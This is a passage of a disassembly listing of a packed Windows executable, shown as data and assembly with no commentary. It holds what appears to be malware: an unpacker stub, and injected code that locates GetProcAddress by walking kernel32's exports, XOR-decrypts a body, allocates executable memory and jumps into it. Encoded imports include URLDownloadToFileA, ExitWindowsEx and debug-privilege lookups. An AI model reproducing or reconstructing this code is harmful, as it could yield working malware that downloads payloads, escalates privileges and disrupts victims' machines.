		dd 1007367h, 696E695Fh,	72657474h, 7301006Dh, 74737274h
		dd 73010072h, 646E6172h, 3F3F0100h, 41594032h, 49584150h
		dd 1005A40h, 5F705F5Fh,	6E695F5Fh, 6E657469h, 5F010076h
		dd 7465735Fh, 72657375h, 6874616Dh, 727265h, 64615F01h
		dd 7473756Ah, 6964665Fh, 5F010076h, 5F5F705Fh, 6D6D6F63h
		dd 65646Fh, 72707301h, 66746E69h, 74730100h, 68637272h
		dd 5F010072h, 5F5F705Fh, 646F6D66h, 5F010065h, 7465735Fh
		dd 7070615Fh, 7079745Fh, 5F010065h, 65637865h, 685F7470h
		dd 6C646E61h, 337265h, 6F635F01h, 6F72746Eh, 70666Ch, 78655F01h
		dd 1007469h, 40333F3Fh,	50584159h, 5A405841h, 61720100h
		dd 100646Eh, 7274735Fh,	706D6369h, 10E0000h, 319C0000h
		dd 55010000h, 6F444C52h, 6F6C6E77h, 6F546461h, 656C6946h
		dd 19000041h, 48000001h, 1000031h, 74697845h, 646E6957h
		dd 4573776Fh, 24000078h, 50000001h, 0FF000031h,	4FF0017h
		dd 39FF00h, 0FF000CFFh,	15FF0034h, 13FF00h, 0FF0010FFh
		dd 9FF0003h, 2FF00h, 0FF0074FFh, 1FF000Dh, 8FF00h, 0FF0073FFh
		dd 0BFF000Eh, 0
		dd 45500000h, 14C0000h,	20080003h, 9A08h, 0
		dd 0E00000h, 10B010Fh, 30000006h, 40000000h, 0
		dd 2FCC0000h, 10000000h, 40000000h, 0
		dd 10000040h, 10000000h, 40000h, 0
		dd 40000h, 0
		dd 80000000h, 10000000h, 0
		dd 30000h, 0
		dd 10000010h, 0
		dd 10000010h, 0
		dd 100000h, 2 dup(0)
		dd 41B40000h, 0A00000h,	14h dup(0)
		dd 40000000h, 1A40000h,	6 dup(0)
		dd 742E0000h, 747865h, 213A0000h, 10000000h, 30000000h
		dd 10000000h, 3	dup(0)
		dd 200000h, 722E6000h, 61746164h, 9B00000h, 40000000h
		dd 10000000h, 40000000h, 3 dup(0)
		dd 400000h, 642E4000h, 617461h,	26C80000h, 50000000h, 20000000h
		dd 50000000h, 3	dup(0)
		dd 400000h, 7000C000h, 43F80000h, 2 dup(755E0000h), 8DD71262h
		dd 0CECF74AAh, 0BA612C8h, 0C097F36Bh, 91ED3F6Ah, 5E1AC6C0h
		dd 0D97BDC9Dh, 70B7FFFEh, 5412C707h, 9ABDDF12h,	9A78485Ah
		dd 0FF50AA58h, 850D9112h, 7B5ADFFFh, 0E9B7858h,	63120853h
		dd 5F1A6E12h, 0F3491297h, 37DAC09Ah, 0ED71DCD8h, 60940C6Eh
		dd 0C365CE66h, 0FFFEEF68h, 75F812F9h, 0F36D12DDh, 9D10C089h
		dd 0C9627B17h, 0F398F300h, 0BDB2FF9Bh, 216D226Dh, 2A1C710h
		dd 5EFFD9A5h, 9898B5DFh, 0FEC5BFFBh, 0C989DE14h, 2159AACFh
		dd 0A5CE1403h, 0F4FA9B5Eh, 0D9CB99FDh, 7EDFB9BBh, 9E5E71CEh
		dd 5E9B499Bh, 0FA9DDEh,	13CACE4Ch, 6EBADFDAh, 1B650361h
		dd 1C353275h, 0C860EC59h, 0CBEDFF78h, 0C34B11DFh, 777B32C0h
		dd 669A715Ah, 0EDFCDE00h, 0FAF6EBC9h, 6F7BBFD8h, 0EBFDFDFFh
		dd 99EAEAFCh, 0EDF805DAh, 0D80D11FCh, 0F0E1DC99h, 0DDBFDBEDh
		dd 13F1CDDCh, 4F6D563h,	0EBFBF0D5h, 17E0EBF8h, 0BB797FEEh
		dd 0C6ABEAFDh, 6399ABAAh, 0F229CAD8h, 0F6FAEDFCh, 0FAFCF7F7h
		dd 6FB58D24h, 0F6F5FADFh, 99143AEAh, 0D23F2057h, 0B72D20C8h
		dd 0C2A88h, 81268002h, 0C8C28F7h, 2F84BF07h, 4DD137F1h
		dd 642079D2h, 61636C6Ch, 745C65C2h, 0D1BFA37Dh,	2E347466h
		dd 20657865h, 5C732877h, 0E9987673h, 6F14B12Bh,	0DE0A10D3h
		dd 0F3D01C13h, 4C4C44FFh, 54534F48h, 4558452Eh,	0EEF9149Ah
		dd 544985BDh, 500B5338h, 68637461h, 0C5B656F7h,	495A7241h
		dd 0EDFFB300h, 3D3D9F2Fh, 0D2CB00CAh, 0DAD3D3D2h, 2FDCDBDAh
		dd 62E607D6h, 47773463h, 68525445h, 20FE2D8Bh, 50545448h
		dd 6031D32Fh, 6F46A341h, 7495D054h, 29E8203Ah, 85A8DB07h
		dd 0A2C0980h, 716D2D78h, 6278F2D8h, 10707469h, 1667AF6Ah
		dd 0B8767DBh, 2F2A0C70h, 0B355412Ah, 0F6DD5B6Fh, 14412D72h
		dd 0ED4D456Eh, 2F616F69h, 0E154AD34h, 28202E42h, 0FEBE350Eh
		dd 0B446A16Dh, 53183B06h, 35204549h, 0BF17352Eh, 5709DB51h
		dd 73773A94h, 0FC383920h, 5CD7B685h, 0C3359948h, 0DA67430Bh
		dd 6EA190CDh, 4B116E30h, 15A89465h, 7B53D46Ah, 0FA35177Fh
		dd 0DF0467B2h, 20492000h, 0D6EA5B7Ah, 6D2019BDh, 766E179h
		dd 62222026h, 6D42B90Bh, 7E293A7Bh, 765F2000h, 2EC76E78h
		dd 584315B5h, 4E116E61h, 6563546Fh, 5D0B7368h, 34DC3220h
		dd 4220A032h, 605B36EFh, 6CBB416Dh, 0CC8F3866h,	6FF6EDB5h
		dd 7A437272h, 76677D68h, 88686F36h, 0B1480C22h,	0EA982D74h
		dd 2F3A765Eh, 0AE6EBE2Fh, 85B96D80h, 0CA56A856h, 712E8C38h
		dd 93FB51BDh, 2F362F16h, 5352F39h, 3764375Ah, 1BFC2FF5h
		dd 62662D59h, 342D6137h, 622D39B7h, 2D366531h, 2AB7D1B0h
		dd 36627A3Fh, 326C6632h, 0A105DFC2h, 30980C27h,	38424B2Dh
		dd 0C0153332h, 8B76F0Eh, 4B253878h, 73B1524Fh, 0A5BDB52Fh
		dd 662F386Fh, 37C83805h, 72FD3631h, 2D31FDD9h, 33626438h
		dd 35346673h, 35613037h, 2BE46236h, 3904BDACh, 73803864h
		dd 0F6544843h, 322266B7h, 31380531h, 66643063h,	5ADED53Eh
		dd 323737FBh, 4C037362h, 0F6323139h, 3D4DB590h,	65536254h
		dd 0DF731839h, 5376113Ch, 312F30E7h, 64663130h,	2F6B6D64h
		dd 663034FFh, 6366652Dh, 64333335h, 0EC321CF1h,	856B6DB0h
		dd 65175C34h, 73350534h, 0AF90891Bh, 0EE554E45h, 742B6D33h
		dd 33657577h, 0C5325C31h, 0FF4735EAh, 7C685706h, 335B73DAh
		dd 65313865h, 8353462h,	35E49C21h, 50586634h, 639B0CDh
		dd 47335B42h, 43723641h, 33ED0D6Bh, 355B4864h, 5DB63730h
		dd 6361F280h, 32336932h, 840733ECh, 38D8461Dh, 0C773CD73h
		dd 615DD68Eh, 2B033501h, 0BB433064h, 3379470Eh,	44383361h
		dd 35EC344Dh, 860AC265h, 6564590Bh, 0EB73EE02h,	53B90A18h
		dd 5624339h, 46ED6B5Ah,	0D666329h, 35086C64h, 0E7EB4075h
		dd 2D6D7338h, 0AC233539h, 1D252B70h, 73F16633h,	92D03FFh
		dd 207100CDh, 2520692Dh, 23C2073h, 6567F203h, 6E202074h
		dd 80435653h, 2F96CAC0h, 8062D629h, 0CF9E20C0h,	0EB2DBE24h
		dd 6B2677D6h, 5338A920h, 0F0726168h, 2BDD80D6h,	6C0067h
		dd 435444ECh, 4CD0246Fh, 13FA4207h, 256EF6Ah, 49572BC6h
		dd 0A158534Eh, 7AD03580h, 41770046h, 6E02B258h,	4B60F372h
		dd 0B6CB2C1Bh, 6E2DB71Bh, 717A6F02h, 18DB5D6Dh,	762A532Fh
		dd 6B5F50ECh, 9ED5A36Eh, 78797358h, 633E2CECh, 817B605Ah
		dd 6F65BC54h, 0F36FE875h, 31EDB475h, 6365EDD8h,	55617254h
		dd 6ED83566h, 752D2C1Dh, 750A7309h, 3046136Ch, 1D36F730h
		dd 0A31F6144h, 96E08604h, 0D0CFE320h, 370425C0h, 4D0FE31Fh
		dd 0B9706020h, 0E706EC6Ah, 371B6C1Ah, 4710011Ch, 0BBC0CDE0h
		dd 542DEF74h, 0A9E7079h, 6D2F7478h, 4E95976Fh, 67046C17h
		dd 33196874h, 683F6FC2h, 58590641h, 45530001h, 0ADC55241h
		dd 0C2835ED0h, 0CE7DECBBh, 1F0AD685h, 0F683504Bh, 0EC9DC52Eh
		dd 4F136DB6h, 452257BCh, 555CA05Ch, 0B6850618h,	3A4F61C0h
		dd 0BC61D879h, 500941D1h, 455C32h, 0C845AF33h, 0A793114h
		dd 357496AFh, 0CB6E4F35h, 40266C60h, 634B6E1Ch,	0C7C1D766h
		dd 8E6769C2h, 0C6204E61h, 366E4575h, 20518EC7h,	6D2B1044h
		dd 30205049h, 1C970D19h, 2E9D7264h, 580F2507h, 2D70DB04h
		dd 5F2B0D64h, 0C4B0754Dh, 7B480C31h, 617A736Dh,	8360A970h
		dd 0D10C00AEh, 96893131h, 9B439212h, 6B276E34h,	24411EDh
		dd 492DDA0Eh, 0D68518BDh, 0B41A5349h, 422001D3h, 4030C80h
		dd 88580101h, 42A8CB00h, 0A5FAE052h, 0FC0B1432h, 74654701h
		dd 0FB60054Ch, 724544ADh, 0D726F72h, 4A00A549h,	6C72FFC1h
		dd 656B636Fh, 63654464h, 0B7EE6152h, 1123BBE6h,	416C6162h
		dd 400C186Ch, 46DB6EDBh, 4F0B651Bh, 38501F70h, 1CC6005Fh
		dd 0B0464964h, 72747441h, 0F6CB256Fh, 74756269h, 27534113h
		dd 0F6FB9B82h, 75646F4Dh, 6E614815h, 55111B64h,	0F7B6D06Eh
		dd 695693B7h, 664F7765h, 5D43102Dh, 2AAFB09h, 9441F676h
		dd 0C936B25Eh, 104C6E49h, 22C0B93h, 5D92CDF4h, 330BE156h
		dd 450F6701h, 24437878h, 1FD8C03Dh, 454FB358h, 950434Dh
		dd 0DDA17B53h, 66F7574Eh, 43149C61h, 0BDAB4449h, 97017F7Dh
		dd 0AD6D614Eh, 696D5254h, 9ED0B06Eh, 57459FCCh,	3EE66961h
		dd 0B780B553h, 4F25E202h, 36486A62h, 0C3C20D7Bh, 0A1783539h
		dd 3CCDB096h, 8B6D6954h, 0DD158069h, 0D9B5B7B3h, 0F7D3752Ch
		dd 64066854h, 0C825B5Eh, 670B13Ch, 5C3B2FD7h, 6F733E02h
		dd 7269A619h, 73764DBFh, 41797466h, 68216F36h, 33706C65h
		dd 0DBEE60B5h, 709D5332h, 506F6873h, 1C2B1267h,	789A158h
		dd 6F594E0Fh, 0C2C20B36h, 4586733Dh, 82B5ACD4h,	1508554Bh
		dd 6DB7C20Fh, 0ED00F152h, 2E68250Ch, 7D6567h, 43930167h
		dd 0A7E432E9h, 512CDB6Ch, 15791175h, 72617453h,	4B377B74h
		dd 700F5116h, 69676552h, 31B671CAh, 233672ACh, 85728B6Ch
		dd 399B05DDh, 75744417h, 50134C73h, 442BBE82h, 21651E80h
		dd 7F2E3D9Bh, 86FC9330h, 0BF417604h, 6A644141h,	31747375h
		dd 62A34059h, 46127377h, 53DF9E02h, 6872DF43h, 5961D86Ch
		dd 0BA0E3FD0h, 0D9B2DCFEh, 10E32133h, 9079654Bh, 823DEC5Ch
		dd 3D0F330Eh, 9623DB92h, 7581C779h, 61E69F70h, 75325663h
		dd 4950FA7Ch, 12F66963h
		dd 0B3706DC2h, 46389410h, 0F37B5B0h, 9D451B7Ch,	0B72CF1CDh
		dd 0F0010337h, 68057265h, 5FF4E19Dh, 8E706358h,	5F5F0C72h
		dd 8B476EB5h, 6772C80Ah, 0CE085FE9h, 22AEB42Dh,	70A6D18h
		dd 0FB070272h, 72B9BFFEh, 3F3F0664h, 41594032h,	49584150h
		dd 70365A40h, 0B6F68602h, 76652C58h, 116B8B0Eh,	3773433Eh
		dd 61578882h, 6082364Ah, 64665FEDh, 6D392EC4h, 95C15A36h
		dd 0D9AF9D44h, 0CC1B66E6h, 1262C510h, 0BD1D661Fh, 4B362DB7h
		dd 7411703Eh, 770F7079h, 0B5A22EC6h, 13685FC7h,	0A3771133h
		dd 39590215h, 1D7066E5h, 0BDD35CF6h, 58339DD3h,	2CB19D9Eh
		dd 476D5C18h, 0E00086Dh, 0D9BC1598h, 5255319Ch,	0E99F444Ch
		dd 6A518374h, 481C19D2h, 9B5B390h, 170AE0C1h, 0B6596524h
		dd 17FF504Dh, 0C390402h, 96596596h, 10131534h, 96590903h
		dd 74025965h, 0F208010Dh, 73659604h, 50710B0Eh,	92FE8045h
		dd 3014CFFh, 8200800h, 0B010F9Ah, 41660601h, 4052C6CFh
		dd 0BE2FCC13h, 0F7D9E764h, 0F10040Fh, 5B070004h, 17B67406h
		dd 0CB0C3180h, 10EC0DE0h, 0BA360607h, 0B4CB2101h, 0A4A2A041h
		dd 8C2B829h, 85F02E26h,	79DB06Ch, 3090213Ah, 8F052D98h
		dd 2E609501h, 29611072h, 53B9309Bh, 6A0309B0h, 0DEECD3BDh
		dd 3C262E40h, 75026C8h,	94E1B6E5h, 0EB00C027h, 5E0343F8h
		dd 75h,	4800000h, 0FF00h, 3 dup(0)
; ---------------------------------------------------------------------------
		pusha
		mov	esi, offset dword_407000
		lea	edi, [esi-6000h]
		push	edi
		or	ebp, 0FFFFFFFFh
		jmp	short loc_409082
; ---------------------------------------------------------------------------
		align 8


loc_409078:				; CODE XREF: seg001:loc_409089j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_40907E:				; CODE XREF: seg001:00409116j
					; seg001:0040912Dj
		add	ebx, ebx
		jnz	short loc_409089


loc_409082:				; CODE XREF: seg001:00409070j
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_409089:				; CODE XREF: seg001:00409080j
		jb	short loc_409078
		mov	eax, 1


loc_409090:				; CODE XREF: seg001:0040909Fj
					; seg001:004090AAj
		add	ebx, ebx
		jnz	short loc_40909B
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_40909B:				; CODE XREF: seg001:00409092j
		adc	eax, eax
		add	ebx, ebx
		jnb	short loc_409090
		jnz	short loc_4090AC
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_409090


loc_4090AC:				; CODE XREF: seg001:004090A1j
		xor	ecx, ecx
		sub	eax, 3
		jb	short loc_4090C0
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		xor	eax, 0FFFFFFFFh
		jz	short loc_409132
		mov	ebp, eax


loc_4090C0:				; CODE XREF: seg001:004090B1j
		add	ebx, ebx
		jnz	short loc_4090CB
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_4090CB:				; CODE XREF: seg001:004090C2j
		adc	ecx, ecx
		add	ebx, ebx
		jnz	short loc_4090D8
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_4090D8:				; CODE XREF: seg001:004090CFj
		adc	ecx, ecx
		jnz	short loc_4090FC
		inc	ecx


loc_4090DD:				; CODE XREF: seg001:004090ECj
					; seg001:004090F7j
		add	ebx, ebx
		jnz	short loc_4090E8
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx


loc_4090E8:				; CODE XREF: seg001:004090DFj
		adc	ecx, ecx
		add	ebx, ebx
		jnb	short loc_4090DD
		jnz	short loc_4090F9
		mov	ebx, [esi]
		sub	esi, 0FFFFFFFCh
		adc	ebx, ebx
		jnb	short loc_4090DD


loc_4090F9:				; CODE XREF: seg001:004090EEj
		add	ecx, 2


loc_4090FC:				; CODE XREF: seg001:004090DAj
		cmp	ebp, 0FFFFF300h
		adc	ecx, 1
		lea	edx, [edi+ebp]
		cmp	ebp, 0FFFFFFFCh
		jbe	short loc_40911C


loc_40910D:				; CODE XREF: seg001:00409114j
		mov	al, [edx]
		inc	edx
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_40910D
		jmp	loc_40907E
; ---------------------------------------------------------------------------
		align 4


loc_40911C:				; CODE XREF: seg001:0040910Bj
					; seg001:00409129j
		mov	eax, [edx]
		add	edx, 4
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 4
		ja	short loc_40911C
		add	edi, ecx
		jmp	loc_40907E
; ---------------------------------------------------------------------------


loc_409132:				; CODE XREF: seg001:004090BCj
		pop	esi
		mov	edi, esi
		mov	ecx, 5Dh


loc_40913A:				; CODE XREF: seg001:00409141j
					; seg001:00409146j
		mov	al, [edi]
		inc	edi
		sub	al, 0E8h


loc_40913F:				; CODE XREF: seg001:00409164j
		cmp	al, 1
		ja	short loc_40913A
		cmp	byte ptr [edi],	1
		jnz	short loc_40913A
		mov	eax, [edi]
		mov	bl, [edi+4]
		shr	ax, 8
		rol	eax, 10h
		xchg	al, ah
		sub	eax, edi
		sub	bl, 0E8h
		add	eax, esi
		mov	[edi], eax
		add	edi, 5
		mov	eax, ebx
		loop	loc_40913F
		lea	edi, [esi+7000h]


loc_40916C:				; CODE XREF: seg001:0040918Ej
		mov	eax, [edi]
		or	eax, eax
		jz	short loc_4091B7
		mov	ebx, [edi+4]
		lea	eax, [eax+esi+9000h]
		add	ebx, esi
		push	eax
		add	edi, 8
		call	dword ptr [esi+90A0h]
		xchg	eax, ebp


loc_409189:				; CODE XREF: seg001:004091AFj
		mov	al, [edi]
		inc	edi
		or	al, al
		jz	short loc_40916C
		mov	ecx, edi
		jns	short near ptr loc_40919A+1
		movzx	eax, word ptr [edi]
		inc	edi
		push	eax
		inc	edi


loc_40919A:				; CODE XREF: seg001:00409192j
		mov	ecx, 0AEF24857h
		push	ebp
		call	dword ptr [esi+90A4h]
		or	eax, eax
		jz	short loc_4091B1
		mov	[ebx], eax
		add	ebx, 4
		jmp	short loc_409189
; ---------------------------------------------------------------------------


loc_4091B1:				; CODE XREF: seg001:004091A8j
		call	dword ptr [esi+90A8h]


loc_4091B7:				; CODE XREF: seg001:00409170j
		popa
		jmp	loc_402FCC
; ---------------------------------------------------------------------------
		align 1000h
seg001		ends

; Section 3. (virtual address 0000A000)
; Virtual size			: 00014000 (  81920.)
; Section size in file		: 0000F600 (  62976.)
; Offset to raw	data for section: 0000A000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg002		segment	para public 'CODE' use32
		assume cs:seg002
		;org 40A000h
		assume es:nothing, ss:nothing, ds:seg000, fs:nothing, gs:nothing
		dd 3 dup(0)
		dd 0A0E0h, 0A0A0h, 3 dup(0)
		dd 0A0EDh, 0A0B0h, 3 dup(0)
		dd 0A0FAh, 0A0B8h, 3 dup(0)
		dd 0A103h, 0A0C0h, 3 dup(0)
		dd 0A10Eh, 0A0C8h, 3 dup(0)
		dd 0A119h, 0A0D0h, 3 dup(0)
		dd 0A124h, 0A0D8h, 5 dup(0)
		dd 7C801D77h, 7C80ADA0h, 7C81CDDAh, 0
		dd 77DD6BF0h, 0
		dd 76D64B79h, 0
		dd 77C39E7Eh, 0
		dd 42D779A3h, 0
		dd 7E45A045h, 0
		dd 71AB2BF4h, 0
		dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
		dd 6C642E32h, 4349006Ch, 642E504Dh, 4D006C6Ch, 52435653h
		dd 6C642E54h, 7275006Ch, 6E6F6D6Ch, 6C6C642Eh, 45535500h
		dd 2E323352h, 6C6C64h, 5F325357h, 642E3233h, 6C6Ch, 64616F4Ch
		dd 7262694Ch, 41797261h, 65470000h, 6F725074h, 64644163h
		dd 73736572h, 78450000h, 72507469h, 7365636Fh, 73h, 43676552h
		dd 65736F6Ch, 79654Bh, 63490000h, 6553706Dh, 6345646Eh
		dd 6F68h, 74697865h, 52550000h,	776F444Ch, 616F6C6Eh, 466F5464h
		dd 41656C69h, 78450000h, 69577469h, 776F646Eh, 784573h
		dd 18h dup(0)
; ---------------------------------------------------------------------------
		call	$+5
		push	ebp
		mov	ebx, [esp+8]
		mov	ebp, [esp+4]
		sub	dword ptr [esp+4], 11A5h
		and	ebx, 0FFFFF000h
		sub	ebp, 401005h


loc_40A222:				; CODE XREF: seg002:0040A23Dj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_40A237
		mov	eax, [ebx+3Ch]
		add	eax, ebx
		cmp	word ptr [eax],	4550h
		jz	short loc_40A23F


loc_40A237:				; CODE XREF: seg002:0040A229j
		sub	ebx, 100h
		jmp	short loc_40A222
; ---------------------------------------------------------------------------


loc_40A23F:				; CODE XREF: seg002:0040A235j
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_40A24D:				; CODE XREF: seg002:loc_40A274j
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_40A274
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_40A274
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_40A274
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_40A279


loc_40A274:				; CODE XREF: seg002:0040A257j
					; seg002:0040A260j ...
		loop	loc_40A24D
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40A279:				; CODE XREF: seg002:0040A272j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_40A29F+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_40A2FD+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_40A29F:				; CODE XREF: seg002:0040A290p
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+402407h], eax
		call	near ptr loc_40A2BB+1
		inc	ebx
		jb	short loc_40A317
		popa
		jz	short loc_40A31A
		inc	ebp
		jbe	short near ptr loc_40A31C+1
		outsb
		jz	short near ptr loc_40A2FA+2


loc_40A2BB:				; CODE XREF: seg002:0040A2AAp
		add	[ebx-1], dl
		setalc
		mov	[ebp+40240Bh], eax
		call	sub_40A2D7
		inc	edi
		db	65h
		jz	short loc_40A31A
		popa
		jnb	short sub_40A345
		inc	ebp
		jb	short near ptr sub_40A345+1
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_40A2D7	proc near		; CODE XREF: seg002:0040A2C5p

; FUNCTION CHUNK AT 0040A355 SIZE 0000008D BYTES
; FUNCTION CHUNK AT 0040A471 SIZE 000000DD BYTES

		push	ebx
		call	esi	; CloseServiceHandle
		mov	dword ptr ss:loc_40240F[ebp], eax
		call	sub_40A32A
		test	eax, eax
		jz	short loc_40A30A
		push	eax
		call	dword ptr ss:loc_40240F[ebp]
		test	eax, eax
		jnz	short loc_40A304
		lea	eax, loc_401155[ebp]


loc_40A2FA:				; CODE XREF: seg002:0040A2B9j
		mov	dl, [eax-1]


loc_40A2FD:				; CODE XREF: seg002:0040A298j
		call	sub_40A345
		jmp	short loc_40A355
; ---------------------------------------------------------------------------


loc_40A304:				; CODE XREF: sub_40A2D7+1Bj
					; sub_40A2D7+E7j ...
		call	dword ptr [ebp+402407h]


loc_40A30A:				; CODE XREF: sub_40A2D7+10j
		pop	ebp
		retn
sub_40A2D7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40A30C:				; CODE XREF: sub_40A32A+2p
					; sub_40A2D7:loc_40A4E1p
		pop	edx
		push	0
		push	0
		push	0
		push	0
; ---------------------------------------------------------------------------
		db 68h,	1
; ---------------------------------------------------------------------------


loc_40A317:				; CODE XREF: seg002:0040A2B0j
		add	[eax+eax], al


loc_40A31A:				; CODE XREF: seg002:0040A2B3j
					; seg002:0040A2CBj
		mov	eax, esp


loc_40A31C:				; CODE XREF: seg002:0040A2B6j
		push	0
		push	eax
		push	0Ch
		mov	eax, esp
		jmp	edx
; ---------------------------------------------------------------------------
		push	esi
		push	esp
		pop	edi
		xor	eax, [eax]

; =============== S U B	R O U T	I N E =======================================



sub_40A32A	proc near		; CODE XREF: sub_40A2D7+9p
					; seg002:loc_40AEDCp
		xor	ecx, ecx
		call	loc_40A30C
		lea	edx, loc_401125[ebp]
		push	edx
		push	ecx
		push	ecx
		push	eax
		call	dword ptr [ebp+40240Bh]
		add	esp, 20h
		retn
sub_40A32A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A345	proc near		; CODE XREF: seg002:0040A2CFj
					; sub_40A2D7:loc_40A2FDp ...
		mov	dh, dl
		mov	ecx, 12B2h


loc_40A34C:				; CODE XREF: sub_40A345+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_40A34C
		retn
sub_40A345	endp

; ---------------------------------------------------------------------------
		db 0ECh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A2D7


loc_40A355:				; CODE XREF: sub_40A2D7+2Bj
		and	dword ptr ss:loc_401480[ebp], 0
		and	dword ptr ss:loc_401484[ebp], 0
		and	dword ptr ss:loc_401488[ebp], 0
		push	edi
		mov	byte ptr ss:loc_401262[ebp], 1
		mov	[ebp+402413h], esi
		lea	esi, [ebp+4014A9h]
		xor	ecx, ecx
		lea	edi, loc_402423[ebp]
		mov	cl, 1Ch
		call	sub_40A68C
		pop	edi
		call	dword ptr [ebp+40245Bh]
		shr	eax, 1Fh
		jz	loc_40A471
		mov	eax, [edi+14h]
		push	40h
		add	eax, ebx
		push	8001000h
		mov	[ebp+40241Bh], eax
		push	5839h
		push	0
		call	dword ptr ss:loc_40248B[ebp]
		test	eax, eax
		jz	loc_40A304
		xchg	eax, edi
		lea	esi, sub_401000[ebp]
		mov	ebp, edi
		mov	ecx, 60Fh
		sub	ebp, offset sub_401000
		lea	edx, [ebp+4011E2h]
		rep movsd
		jmp	edx
; END OF FUNCTION CHUNK	FOR sub_40A2D7
; ---------------------------------------------------------------------------
		sub	esp, 20h
		mov	edi, esp
		push	8
		xor	eax, eax
		pop	ecx
		lea	edx, [ebp+4018D1h]
		rep stosd
		mov	edi, esp
		mov	[edi+10h], edx
		inc	byte ptr [edi+1Ch]
		push	edi
		push	10003h
		call	dword ptr [ebp+40241Bh]
		add	esp, 20h
		test	eax, eax
		jz	loc_40A304
		xchg	eax, edi
		push	0
		push	1
		push	80000400h
		push	10000h
		call	dword ptr [ebp+40241Bh]
		test	eax, eax
		jz	loc_40A304
		push	0
		push	eax
		push	40000h
		push	0
		shr	eax, 0Ch
		push	edi
		push	1
		push	eax
		push	10001h
		call	dword ptr [ebp+40241Bh]
		push	1000Ah
		call	dword ptr [ebp+40241Bh]
		call	sub_40A461
		jmp	loc_40A304

; =============== S U B	R O U T	I N E =======================================



sub_40A461	proc near		; CODE XREF: seg002:0040A457p
					; sub_40A461+Dj
		push	1
		pop	ecx
		jecxz	short locret_40A470
		push	0Ah
		call	dword ptr ss:loc_402483[ebp]
		jmp	short sub_40A461
; ---------------------------------------------------------------------------

locret_40A470:				; CODE XREF: sub_40A461+3j
		retn
sub_40A461	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A2D7


loc_40A471:				; CODE XREF: sub_40A2D7+C0j
		cmp	dword ptr [ebp+40243Bh], 0
		jz	loc_40A304
		call	near ptr loc_40A488+1
		dec	esi
		push	esp
		inc	esp
		dec	esp
		dec	esp


loc_40A488:				; CODE XREF: sub_40A2D7+1A7p
		add	bh, bh
		xchg	eax, ebp
		dec	edi
		and	al, 40h
		add	[ebp+401637B5h], cl
		add	[ebx], dh
		leave
		lea	edi, [ebp+402493h]
		mov	cl, 9
		xchg	eax, ebx
		call	sub_40A68C
		cmp	dword ptr [ebp+4024B3h], 0
		jz	loc_40A304
		mov	eax, dword ptr ss:loc_402497[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4023C1h]
		mov	eax, dword ptr ss:loc_40249B[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr ss:loc_4023C7[ebp]
		mov	ecx, [ebp+40249Fh]
		jecxz	short loc_40A4E1
		push	dword ptr [ecx+1]
		pop	dword ptr ss:locret_4023D4[ebp]


loc_40A4E1:				; CODE XREF: sub_40A2D7+1FFj
		call	loc_40A30C
		lea	edx, [ebp+40149Fh]
		push	edx
		push	5839h
		push	0
		push	4
		push	eax
		push	0FFFFFFFFh
		call	dword ptr [ebp+40242Bh]
		add	esp, 20h
		push	5839h
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	4
		push	0
		push	2
		push	edx
		push	0
		push	5839h
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr ss:loc_4024A3[ebp]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_40A304
		lea	esi, sub_401000[ebp]
		mov	ecx, 60Fh
		mov	ebp, edi
		rep movsd
		sub	ebp, offset sub_401000
		lea	eax, [ebp+40134Eh]
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_40A2D7
; ---------------------------------------------------------------------------
		dw 958Dh
		dd offset loc_401788+1
		dd 6395FF52h, 0E8004024h, 16h
aLookupprivileg	db 'LookupPrivilegeValueA',0
		dw 0FF50h
		dd 40241395h, 17858900h, 50004024h, 6A206A54h, 0A795FFFFh
		dd 85004024h, 3F755FC0h, 56026A96h, 6AD48B56h, 11E85201h
		dd 53000000h, 62654465h, 72506775h, 6C697669h, 656765h
		dd 1795FF56h, 8B004024h, 565656C4h, 0FF575650h,	40249395h
		dd 10C48300h, 795FF57h,	6A004024h, 0FF026A00h, 40243B95h
